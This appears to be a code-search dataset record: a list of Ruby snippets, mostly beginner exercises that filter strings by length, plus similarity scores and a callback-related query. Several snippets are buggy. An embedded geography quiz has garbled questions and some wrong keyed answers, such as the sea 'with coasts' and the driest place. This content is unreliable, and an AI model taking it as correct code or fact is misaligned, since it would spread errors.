"def big_words(str)\n # split my string into individual words\n # loop over my words\n # check the length of each word\n # if the length of the word is >= 5, keep it. \n # else delete it.\n # return joined words\n\n words = str.split(' ')\n long_words = []\n i = 0\n while i < words.length\n if words[i].length >= 5 #=> words[i] < 5\n # words.delete_at(i) # be careful of delete_at in loops.\n long_words << words[i]\n end\n i += 1\n end\n return long_words.join(' ')\nend",
"def long_planteer_calls(calls)\n calls.any? {|call| call.length > 4} # code from lecture\nend",
"def select_long_words(words)\n longWords = []\n\tfor i in 0..words.length-1\n word = words[i]\n if word.length > 4\n longWords << word\n end\n end\n return longWords\nend",
"def findlargestdrop(arr)\n\n\n\nend",
"def long_planeteer_calls(words)\n words.any? { |word| word.length>4}\nend",
"def long_planeteer_calls(planeteer_calls)\nplaneteer_calls.any? { |string| string.length > 4 }\nend",
"def truncated array, limit = 2\n contents = array[0...limit].join \", \"\n more = array.length <= limit ? \"\" : \", ...\"\n \"[#{contents}#{more}]\"\nend",
"def long_planeteer_calls( array )\n array.map do |call|\n if call.size > 4\n return true\n else\n return false\n end\n end\nend",
"def questions(number: T.unsafe(nil), supplemental: T.unsafe(nil), exclude_words: T.unsafe(nil)); end",
"def long_planeteer_calls(arr)\n arr.any? { |word| word.length > 4} # <-- needed a space between \"{\" and pipe to pass test...???\nend",
"def select_long_words(words)\n\tlongWords = []\n\n\ti = 0\n\twhile i <= words.length\n\t\ttemp = words[i]\n\n\t\tif temp.length > 4\n\t\t\tlongWords << temp\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn longWords\nend",
"def long_words(words, length)\n # TODO\nend",
"def has_answered_quiz?\n array = Array.new\n ques = Result.where(user_id: self.id)\n if ques.present?\n array << ques.pluck(:question_id)\n new_array = array.flatten.compact.uniq\n new_array.length == 6\n return true\n else\n return false\n end\n end",
"def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend",
"def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend",
"def long_planeteer_calls(calls)\n res1 = calls.any? { |num| num.length>4} \n return res1\nend",
"def long_planeteer_calls(calls)\n calls.any? { |word| word.length > 4 }\nend",
"def spinWords(string)\r\n \r\n var= string.split(' ') #[\"Hey\", \"fellow\", \"warriors\"]\r\n finalarry=[]\r\n var.each do |x|\r\n arry= x.split('') \r\n if arry.count >= 5\r\n finalarry << arry.reverse\r\n else\r\n finalarry<< arry\r\n end\r\n\r\n \r\n end\r\n \r\n lastarry=[]\r\n finalarry.each do |y|\r\n lastarry << y.join(\"\")\r\n \r\n end\r\n \r\n result= lastarry\r\n p result.join(' ')\r\n\r\n\r\n \r\n \r\nend",
"def long_planeteer_calls(words)\n # Your code here\n words.any? do |word|\n word.length > 4\n end\nend",
"def human_string_limit(array, limit)\n length = array.length\n \n new_string = array[0...limit].join(\", \")\n \n new_string << \", and #{array.length - limit} more\"\n \n return new_string\nend",
"def slice(result_array, max_length=10)\n return result_array[0...max_length]\n end",
"def check_for_answers(questions)\r\n @possible_questions = []\r\n questions.each do |question| \r\n unless question.answers.length < 2 \r\n @possible_questions << question \r\n end \r\n @possible_questions\r\n end \r\n end",
"def showExampleArr\n strings = ['Mike', 'x-ray', '1,000,000', 'NASCAR', '!', '你好', 'zebra',\n '\"The Force is strong with this one.\"', 'éclairs', 'milk', '???',\n 'a merry Christmas', 'Ruby', 'milky', 'ABC', 'NASCAR']\n maxLength = '\"The Force is strong with this one.\"'.length\n printStrings(strings, maxLength)\n puts '(Please press enter)'\n gets\n return [strings, maxLength]\nend",
"def oompa_loompa(array)\n\t\tarray.reject do |word|\n\t\t\tword.length > 3\n\t\tend\n\tend",
"def clever(arr)\n arr.reduce do |big_fish, fish|\n fish.length > big_fish.length ? fish : big_fish\n end\nend",
"def friend(friends)\narr = []\nfriends.each {|x| arr << x if x.length == 4}\narr\nend",
"def build_truncated_survey\n Questions::Other.boolean_has_pain(@survey)\n Questions::Slider.current_pain(@survey)\n Questions::Slider.last_case_worst(@survey)\n Questions::Slider.last_case_sleep(@survey)\n Questions::Slider.last_case_activities(@survey)\n Questions::Checklist.medication_efficacy_slider(@survey)\n Questions::Checklist.other_strategies(@survey)\n Questions::Slider.pain_control(@survey)\n end",
"def sluggish_octopus(arr)\n lngest_fish = [arr.first]\n # debugger\n arr.each do |fish|\n # debugger\n lngest_fish = [fish] if fish.length > lngest_fish.first.length\n end\n lngest_fish\nend",
"def long_books\n all_my_books.select do |book|\n book.pages > 50\n end\n # ALL THE BOOKS\n end",
"def long_planeteer_calls(calls)\n calls.any? {|call| call.length > 4}\nend",
"def companies_sized_over_100 companies\n filtered_companies = companies.select { |company| company.size > 100 }\n company_information_strings filtered_companies\nend",
"def long_planeteer_calls(names)\n names.any? {|name| name.length > 4}\n \nend",
"def user_passion(passion)\n unless passion.blank?\n if passion.size > 17 \n return passion.slice(0,15)+\"...\" \nelse\n return passion\n end \nend\nend",
"def long_planeteer_calls(calls)# code an argument here\n # Your code here\n calls.any? {|x| x.chars.length>4}\nend",
"def small_numbers(input_array)\nnew_array = [ ]\nnumber_of_loops = input_array.length\nindex = 0\n\nnumber_of_loops.times do\n if input_array[index] < 10\n new_array << input_array[index]\n end\n index = index + 1\nend\n\noutput = new_array\nreturn output\nend",
"def get_quest\n\t\tget_data\n\n\t\t$finish = false\n\t\tunless $finish == true\n\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\twhile $quiz_arr.include?(@data[$randId]['id'])\n\t\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\tend\n\t\t\t$quiz_arr.push(@data[$randId]['id'])\n\t\t\t$i += 1\n\n\t\t\tif $i == 7\n\t\t\t\t$finish = true\n\t\t\tend\n\n\t\t\t@quest = @data[$randId]['question_name']\n\t\t\t@c_answer = @data[$randId]['c_answer']\n\t\t\t@alt1 = @data[$randId]['alt1']\n\t\t\t@alt2 = @data[$randId]['alt2']\n\t\t\t@alt3 = @data[$randId]['alt3']\n\t\t\t@imgurl = @data[$randId]['imgurl']\n\t\t\t@url = @data[$randId]['news_url']\n\t\t\t@cat = @data[$randId]['category_id']\n\t\t\t@hex = @data[$randId]['category_hex_code']\n\t\t\tget_descriptions(@url)\n\t\t\t@image = @desc_data['image']\n\n\t\t\t$answer_array = Array.new()\n\t \tend\n\tend",
"def shuffleprint (arr)\n puts arr.shuffle\n arr[i].filter{|i| i.length > 5}\nend",
"def all_square_bigger_then_350(square_intResult)\n res = []\n c = 0\n for i in 0..square_intResult.length()-1\n if (square_intResult[i] > 350)\n res[c] = Math.sqrt(square_intResult[i])\n \n c = c + 1\n end\n end\n return res\nend",
"def clever_octopus(arr)\n longest = \"\"\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend",
"def words_longer_than(array,num)\n new_array = []\n array.map{ |w|\n new_array.push(w.count(\"e\"))\n }\n letter_per_word(new_array, new_array.length)\nend",
"def clever_octopus(fish_array)\n longest = \"\"\n\n fish_array.length.times do |i|\n if fish_array[i].length > longest.length\n longest = fish_array[i]\n end\n end\n\n longest\nend",
"def clever_octopus(arr)\n longest = \"\"\n arr.each {|el| longest = el if el.length >= longest.length}\n longest\nend",
"def long_word?\n last_epithet.size >= 25\n end",
"def get_questions(how_many)\n questions = [\n GeoQuestion.new(\"In which country does edelweiss not grow natively?\",\n [\"a) Switzerland\", \"b) Mongolia\", \"c) Swaziland\", \"d) Austria\"], \"c\"),\n\n GeoQuestion.new(\"What countries does the equator and Tropic of Capricorn run through?\",\n [\"a) Sudan\", \"b) Saudi Arabia\", \"c) Chile\", \"d) Brazil\"], \"d\"),\n\n GeoQuestion.new(\"If you can fit through the nose hole of Great Buddha of Kamakura in Japan? Do you:\",\n [\"a) have great success\", \"b) enlightenment\", \"c) great wealth\", \"d) great health\"], \"b\"),\n \n GeoQuestion.new(\"On which continent did upright-walking ancestors originate?\",\n [\"a) Russia\", \"b) Asia\",\"c) Russia\", \"d) Africa\"],\"d\"),\n \n GeoQuestion.new(\"How many alternating red and white stripes does the flag of the United States have?\",\n [\"a) 13\", \"b) 11\", \"c) 16 \", \"d) 9\"], \"a\"),\n \n GeoQuestion.new(\"Who sewed the Famous Eureka Flag?\",\n [\"a) Anastasia Withers, Anne Duke, Anastasia Hayes\", \"b) Anne Witherton, Elizabeth Dune, Emily Palsey\", \"c) Beth Kennedy, Grace King, Annabel Cooke\", \"d) Anne Holyoake, Mary Basson-Humffray, Anne Ross\"], \"a\"),\n \n GeoQuestion.new(\"How many rivers are in Russia?\",\n [\"a) 200\", \"b) 40 000\", \"c) 100 000\", \"d) 12 000\"],\"c\"),\n \n GeoQuestion.new(\"Where is Hulun Lake situated?\",\n [\"a) Hong Kong SAR\", \"b) People's Republic of China\", \"c) Republic of China (Taiwan)\", \"d) Mongolia\"], \"b\"),\n \n GeoQuestion.new(\"What is this meaning of the word Canada?\",\n [\"a) Brown Bears\", \"b) Good People\", \"c) Wild\", \"d) Indian Village\"], \"d\"),\n \n GeoQuestion.new(\"How many cities does the Trans-Siberian Railway pass through?\",\n [\"a) 87\", \"b) 96\", \"c) 82\", \"d) 78\"], \"a\"),\n \n GeoQuestion.new(\"Which continent has the world's largest river system\",\n [\"a) Australia\", \"b) Asia \", \"c) South America\", \"d) Russia\"], \"c\"),\n \n GeoQuestion.new(\"Which Continent is the Great Bear Lake located in?\",\n [\"a) Russia\", \"b) North America \", \"c) Asia\", \"d) South America\"], \"b\"),\n \n GeoQuestion.new(\"Which US city has the largest Polish population?\",\n [\"a) Chicago\", \"b) New York City \", \"c) San Fran Cisco\", \"d) Utah\"], \"a\"),\n \n GeoQuestion.new(\"The river Liffey flows through the centre of which European city\",\n [\"a) Lisburn\", \"b) Dublin\", \"c) Lillerod \", \"d) Copenhagen\"], \"b\"),\n \n GeoQuestion.new(\"What is the world's largest continent?\",\n [\"a) Antarctica\", \"b) Asia\",\"c) Europe\", \"d) Africa\"], \"b\"),\n \n GeoQuestion.new(\"What razor-thin country accounts for more than half of the western coastline of South America?\",\n [\"a) Peru\", \"b) Ecuador\",\"c) Chile \", \"d) Bolivia\"], \"c\"),\n \n GeoQuestion.new(\"What country has the most natural lakes?\", \n [\"a) Australia\", \"b) India\", \"c) United States\", \"d) Canada\"], \"d\"),\n \n GeoQuestion.new(\"What is the only sea with coasts?\",\n [\"a) Celebes Sea\", \"b) Sargasso Sea\", \"c) Adriatic Sea\", \"d) Mediterranean Sea\"], \"b\"),\n \n GeoQuestion.new(\"What is the driest place on Earth?\",\n [\"a) Sahara Desert\", \"b) Kufra, Libya\", \"c) Atacama Desert\", \"d) Mc Murdo, Antica\"], \"d\"), \n \n GeoQuestion.new(\"In what country can you visit Machu Picchu?\",\n [\"a) Peru \", \"b) Bolivia\", \"c) Chile\", \"d) Columbia\"], \"a\"),\n \n GeoQuestion.new(\"Which African nation has the most pyramids?\",\n [\"a) Egypt\", \"b) Sudan\", \"c) Libya\", \"d) Algeria\"], \"b\"),\n \n GeoQuestion.new(\"What is the oldest city in the world?\",\n [\"a) Jericho\", \"b) Athens \", \"c) Jerusalem \", \"d) Damascus \"], \"d\"),\n \n GeoQuestion.new(\"Which U.S. State has the most active volcanoes?\",\n [\"a) Hawaii\", \"b) California\", \"c) Alaska \", \"d) Washington \"], \"c\"), \n \n GeoQuestion.new(\"What is the flattest continent?\",\n [\"a) Antarctica\", \"b) Australia \", \"c) South America\", \"d) Africa\"], \"b\"),\n \n GeoQuestion.new(\"What is the largest country in the Arabian Peninsula?\",\n [\"a) Jordan\", \"b) United Arab Emirates\", \"c) Yemen \", \"d) Saudi Arabia\"], \"d\"),\n \n GeoQuestion.new(\"What country has the most coastline?\",\n [\"a) Canada\", \"b) United States\", \"c) China\", \"d) Russia\"], \"a\"),\n \n GeoQuestion.new(\"Which of the following volcanoes is NOT located in Antarctica?\",\n [\"a) Mount Melbourne\", \"b) Mount Berlin\", \"c) Mount Napier\", \"d) Mount Hampton\"], \"c\"),\n \n GeoQuestion.new(\"What country is the home of Kangaroo Island?\",\n [\"a) Australia\", \"b) France\", \"c) Japan\", \"d) Great Britain\"], \"a\"),\n \n GeoQuestion.new(\"What continent is located at latitude 90 degrees south longitude 0.00 degrees east?\",\n [\"a) Asia\", \"b) Australia\", \"c) Antarctica\", \"d) South America\"], \"c\"),\n \n GeoQuestion.new(\"What is the largest country in South America?\",\n [\"a) Columbia\", \"b) Brazil\", \"c) Peru\", \"d) Argentina\"], \"b\"),\n \n GeoQuestion.new(\"What is the tallest mountain in the world?\",\n [\"a) Qogir\", \"b) Aconcagua\", \"c) Mount Kilimanjaro\", \"d) Mount Everest\"], \"d\"), \n \n GeoQuestion.new(\"What is the capital city of Australia?\",\n [\"a) Canberra\", \"b) Sydney\", \"c) Melbourne\", \"d) Perth\"], \"a\"),\n \n GeoQuestion.new(\"What is the smallest independent country on Earth?\",\n [\"a) Monaco\", \"b) Vatican City \", \"c) Grenada\", \"d) Nauru\"], \"b\"), \n \n GeoQuestion.new(\"What mountain is nicknamed the 'Savage Mountain'?\",\n [\"a) Annapurna\", \"b) Matterhorn\", \"c) Mount Everest\", \"d) K2\"], \"d\"),\n \n GeoQuestion.new(\"Along with Spain and France, what other country has both Atlantic and Mediterranean coastlines?\",\n [\"a) Egypt\", \"b) Morocco\", \"c) Syria\", \"d) Lebanon\"], \"b\"),\n \n GeoQuestion.new(\"What country occupies the southern end of the Arabian Peninsula?\",\n [\"a) Yemen\", \"b) Jordan\", \"c) Kuwait\", \"d) Qatar\"], \"a\"),\n\n GeoQuestion.new(\"What is the tallest mountain in North America?\",\n [\"a) Mount Rushmore\", \"b) Denali\", \"c) King Peak\", \"d) Mount Steele\"], \"b\"),\n \n GeoQuestion.new(\"What mountain is closest to the moon?\",\n [\"a) Mount Pandim\", \"b) Mount Everest\", \"c) Mount Chimborazo\", \"d) Nanga Parbat\"], \"c\"),\n \n GeoQuestion.new(\"What are the western and eastern most states in the United States?\",\n [\"a) Washington & New York\", \"b) Hawaii & Maine\", \"c) California & Florida\", \"d) Alaska & Alaska\"], \"d\"),\n \n GeoQuestion.new(\"What continent contains the most fresh water?\",\n [\"a) Asia\", \"b) Antarctica\", \"c) North America\", \"d) Africa\"], \"b\"),\n \n GeoQuestion.new(\"What ocean is home to 75% of the Earth's volcanoes?\",\n [\"a) Indian\", \"b) Pacific\", \"c) Arctic\", \"d) Atlantic\"], \"b\"),\n \n GeoQuestion.new(\"What is the largest city in the world based on surface area?\",\n [\"a) Hulunbuir\", \"b) Dhaka\", \"c) Mumbai\", \"d) Shanghai\"], \"a\"),\n \n GeoQuestion.new(\"What is the only major city located on two continents?\",\n [\"a) Rome\", \"b) London\", \"c) Istanbul\", \"d) New Delhi\"], \"c\"),\n \n GeoQuestion.new(\"What is the coldest sea on Earth?\",\n [\"a) White Sea\", \"b) Persian Gulf\", \"c) Caspian Sea\", \"d) Baltic Sea\"], \"a\"),\n \n GeoQuestion.new(\"Which of the following lakes is located in an ancient meteorite impact crater?\",\n [\"a) Lake Titicaca\", \"b) Lake Mweru\", \"c) Lake Poopo\", \"d) Lake Bosumtwi\"], \"d\"),\n \n GeoQuestion.new(\"How many tributaries does the Amazon River have?\",\n [\"a) 9\", \"b) 1,100\", \"c) 3,500\", \"d) 560\"], \"b\"),\n \n GeoQuestion.new(\"What is the oldest active volcano on Earth?\",\n [\"a) Mount Olympus\", \"b) Mount Yasur\", \"c) Mount Etna\", \"d) Mount Fuji\"], \"c\"),\n \n GeoQuestion.new(\"Of the eight major islands in the Hawaiian Archipelago, what is the only one that is uninhabited?\",\n [\"a) Molokai\", \"b) Niihau\", \"c) Coconut Island\", \"d) Kaho'Olawe\"], \"d\"),\n \n GeoQuestion.new(\"What river runs through Paris?\",\n [ \"a) Elbe\", \"b) Thames\", \"c) Seine\", \"d) Danube\"], \"c\"),\n \n GeoQuestion.new(\"What Hawaiian island is known as 'Bird Island'?\",\n [\"a) Nihoa\", \"b) Pulemoku\", \"c) Hulu\", \"d) Kauhuula\"], \"a\"),\n \n GeoQuestion.new(\"What mountains form part of the conventional boundary between the continents of Europe and Asia?\",\n [\"a) Ural Mountains\", \"b) Andes\", \"c) Appalachian Mountains\", \"d) Himalayas\"], \"a\"),\n \n GeoQuestion.new(\"What is the fastest flowing river in the world?\",\n [\"a) Yangtze\", \"b) Congo\", \"c) Amazon\", \"d) Mississippi\"], \"c\"),\n \n GeoQuestion.new(\"How many countries are there in Africa?\",\n [\"a) 39\", \"b) 42\", \"c) 63\", \"d) 54\"], \"d\"),\n \n GeoQuestion.new(\"What is the most densely populated country on Earth?\",\n [\"a) Shanghai\", \"b) Tokyo\", \"c) Monaco\", \"d) New York\"], \"c\"),\n \n GeoQuestion.new(\"What is the capital of Pakistan?\",\n [\"a) Bahawalpur\", \"b) Islamabad\", \"c) Karachi \", \"d) Lahore\"], \"b\"),\n \n GeoQuestion.new(\"What is the most populated nation in South America?\",\n [\"a) Venezuela\", \"b) Columbia\", \"c) Argentina\", \"d) Brazil\"], \"d\"),\n \n GeoQuestion.new(\"What is the most populated country of Africa?\",\n [\"a) South Africa\", \"b) Nigeria\", \"c) Ghana\", \"d) Ethiopia\"], \"b\"),\n \n GeoQuestion.new(\"What Asian country has Kuala Lumpur as its capital?\",\n [\"a) Thailand\", \"b) Bangladesh\", \"c) Malaysia\", \"d) Cambodia\"], \"c\"),\n \n GeoQuestion.new(\"What are the only landlocked countries in South America?\",\n [\"a) Paraguay & Bolivia\", \"b) Peru & Columbia\", \"c) Brazil & Argentina\", \"d) Uruguay & Suriname\"], \"a\"),\n \n GeoQuestion.new(\"What body of water separates Africa and Europe?\",\n [\"a) Strait of Magellan\", \"b) Strait of Malacca\", \"c) Strait of Hormuz\", \"d) Strait of Gibraltar\"], \"d\"),\n \n GeoQuestion.new(\"Which of the following continents in intersected by the Equator?\",\n [\"a) Europe\", \"b) Australia\", \"c) South America\", \"d) North America\"], \"c\"),\n \n GeoQuestion.new(\"What is the smallest country in South America?\",\n [\"a) Aruba\", \"b) Bolivia\", \"c) Guyana\", \"d) Suriname\"], \"d\"),\n \n GeoQuestion.new(\"What is the capital of Nigeria?\",\n [\"a) Abuja\", \"b) Lagos\", \"c) Ibadan\", \"d) Kano\"], \"a\"),\n \n GeoQuestion.new(\"What is the capital of Turkey?\",\n [\"a) Istanbul\", \"b) Izmir\", \"c) Ankara\", \"d) Bursa\"], \"c\"),\n \n GeoQuestion.new(\"Lake Titicaca sits on the border between what two nations?\",\n [\"a) Ecuador & Columbia\", \"b) Argentina & Chile\", \"c) Brazil & Paraguay\", \"d) Bolivia & Peru\"], \"d\"),\n \n GeoQuestion.new(\"What is the largest country in the world in terms of land area?\",\n [\"a) China\", \"b) United States\", \"c) Russia\", \"d) Canada\"], \"c\"),\n \n GeoQuestion.new(\"What U.S. state contains the world's largest flat-top mountain?\",\n [\"a) Colorado\", \"b) Wyoming\", \"c) Utah\", \"d) Arizona\"], \"a\"),\n \n GeoQuestion.new(\"What is the state capital of Oklahoma?\",\n [\"a) Tulsa\", \"b) Edmond\", \"c) Guthrie\", \"d) Oklahoma City\"], \"d\"),\n ]\n return questions.sample(how_many)\nend",
"def long_planeteer_calls(calls)# code an argument here\n # Your code here\n calls.any? do |call|\n call.length > 4\n end\nend",
"def arreglo_de_nombres(arreglo)\n seleccion = []\n arreglo.shuffle!\n arreglo.each do |valor|\n puts valor.to_s.to_s\n seleccion.push(valor) if valor.length > 5\n end\n puts \"Array con nombres con más de 5 caracteres son: #{seleccion}\"\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n bulk_tweet_shortener(tweets)\n else\n tweet\n end\nend",
"def long_planeteer_calls(calls) \n calls.any? do |call|\n call.length > 4 \n end\nend",
"def new_array\n\tfull_array.map! {|x| #We call upon the definition from above to create the conditionals for this \n\t\t #function. By defining these arrays (full and new) in separate functions, it \n\t #allows testing to run in increments. \n\t #The block argument (pipes) isolate the element within the array that will be \n\t\t #called upon.\n\t#Using 'map' lays out the array 1-100 (element after element joined together, yet separated by commas).\n\t#Using the exclamation point with map makes sure the array doesn't return back to the \n\t#1-100 array after the changes were made/if there isn't an exclamation point then\n\t#the array would revert back to what it was prior to the changes(conditionals).\n\t\tif x % 3 == 0 && x % 5 == 0 #The double ampersand symbol means 'and' in this case.\n\t\t\t\"mined_minds\" #This is what will replace the current element within the array.\n\t\telsif x % 3 == 0 #The percent sign is a modulo operater in this case--meaning 'if x is divisble \n\t\t\t\"mined\" #by 3 with no remainders' (\"mined\" will replace any element divisible by 3)\n\t\telsif x % 5 == 0 #The percent sign is a modulo operater in this case--meaning 'if x is divisble\n\t\t\t\"minds\" #by 5 with no remainders' (\"minds\" will replace any element divisible by 5)\n\t\telsif x == 11 #The double equals sign means that \"if x 'is the same' as 11\" when the elements \n\t\t\t\"class\" #are cycling through. \n\t\telse\n\t\t\tx #This means that the element within the array must be returned if the element doesn't meet \n\t\t\t #any of the requirements in any of the conditionals listed above.\n\t\tend #Must include 'end' to close out the conditional (lines up with the beginning of 'if' statements)\n\t} #The curly brackets are used when referencing the conditional and replaces the word 'do' in this case.\n\n\t\nend",
"def long_planeteer_calls(calls) # code an argument here\n # Your code here\n calls.any? { |call| call.length > 4 }\nend",
"def magic_array(long)\n\tless_long = long.flatten\n\treversed = less_long.reverse\n\t\n\teven_numbers = reversed.map{ |i| i * 2 }\n\t\n\tmultiple_three = even_numbers.delete_if {|m| m % 3 == 0}\n\t\n\tno_duplicate = multiple_three.uniq\n\n\tsorted = no_duplicate.sort\n\treturn sorted\n\nend",
"def filter_lengths(strings, length = 5)\n words = []\n strings.each do |word|\n if word.length >= length\n words << word\n end\n end\n return words\nend",
"def friend(friends)\n \n friend_array = []\n friends.each { |x| if x.length == 4 then friend_array.push(x) end}\n \nreturn friend_array \n \nend",
"def build_array\n setup\n while @e <= l\n make_word_candidates\n validate_word_match\n bank_valid_word_match(validate_word_match)\n begin_find_next_word(make_word_candidates)\n not_a_match(make_word_candidates)\n return array1\n end\n #return array1\n end",
"def convertToBoard(text)\n response=text\n\n responseArray=response.split(\" \")\n # responseArray = Capture.find(:all)\n responseArray.delete('and')\n # responseArray.reject! { |item| item.text =~ 'and' }\n puts response.size\n puts responseArray.size\n if responseArray.size==1\n if response.size<=4\n response=response.upcase\n else \n puts \"shortening response\"\n response=response[0..3].upcase\n end\n elsif responseArray.size==2\n if not is_num(responseArray[1])\n if responseArray[0].size<=3\n response=responseArray[0][0..responseArray[0].size].upcase + responseArray[1][0].upcase\n else\n response=responseArray[0][0..2].upcase + responseArray[1][0].upcase\n end\n else\n if responseArray[1].size>=2\n response=responseArray[0][0..1].upcase + responseArray[1][responseArray[1].size-3..responseArray[1].size-1]\n else\n response=responseArray[0][0..1].upcase + responseArray[1][0..responseArray[1].size-1]\n end\n end\n else\n puts\"size invalid\"\n response=responseArray[0][0].upcase+responseArray[1][0].upcase+responseArray[2][0].upcase\n end\n return response\nend",
"def got_milk?(array)\nend",
"def setup_multiple_choice_questions(questions)\n questions[0..34].each do |questions_in_a_lesson|\n @unique_questions << questions_in_a_lesson.find_all{|question| question.question_type == 'multiple_choice'}[rand(6)]\n end\n end"
] |
[
"0.72972107",
"0.675591",
"0.6631978",
"0.6611339",
"0.64961314",
"0.6479526",
"0.6401144",
"0.6339382",
"0.6295579",
"0.6243623",
"0.6228695",
"0.6192196",
"0.61827904",
"0.6172448",
"0.6130867",
"0.6109938",
"0.6100403",
"0.6079306",
"0.60700035",
"0.6060247",
"0.6025026",
"0.59973836",
"0.596105",
"0.59598154",
"0.5942689",
"0.5920242",
"0.58810645",
"0.58708566",
"0.58662623",
"0.58527434",
"0.58307815",
"0.58270615",
"0.58193094",
"0.5796964",
"0.57948524",
"0.5777875",
"0.57740015",
"0.57669485",
"0.57542145",
"0.57506436",
"0.5745315",
"0.572611",
"0.57241553",
"0.5720474",
"0.57087827",
"0.5700525",
"0.56986696",
"0.5682829",
"0.5681436",
"0.56797355",
"0.5662217",
"0.56615156",
"0.564398",
"0.56317496",
"0.5631572",
"0.5603682",
"0.5595819",
"0.5595819",
"0.5589646",
"0.5581524",
"0.5579162",
"0.5571189",
"0.5568012",
"0.5558243",
"0.555031",
"0.55366087",
"0.5532234",
"0.5522792",
"0.5520085",
"0.5516619",
"0.55156684",
"0.55048674",
"0.5481905",
"0.54741377",
"0.54660857",
"0.54630804",
"0.54629534",
"0.5461218",
"0.54597193",
"0.54376024",
"0.5428136",
"0.54103893",
"0.54037184",
"0.5402192",
"0.5392987",
"0.5389703",
"0.53827435",
"0.538061",
"0.5374828",
"0.5369468",
"0.53591216",
"0.53498065",
"0.53420395",
"0.53417575",
"0.5336277",
"0.5331656",
"0.53248566",
"0.53128636",
"0.53123194",
"0.5296832"
] |
0.86648375
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_contact
@contact = Contact.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
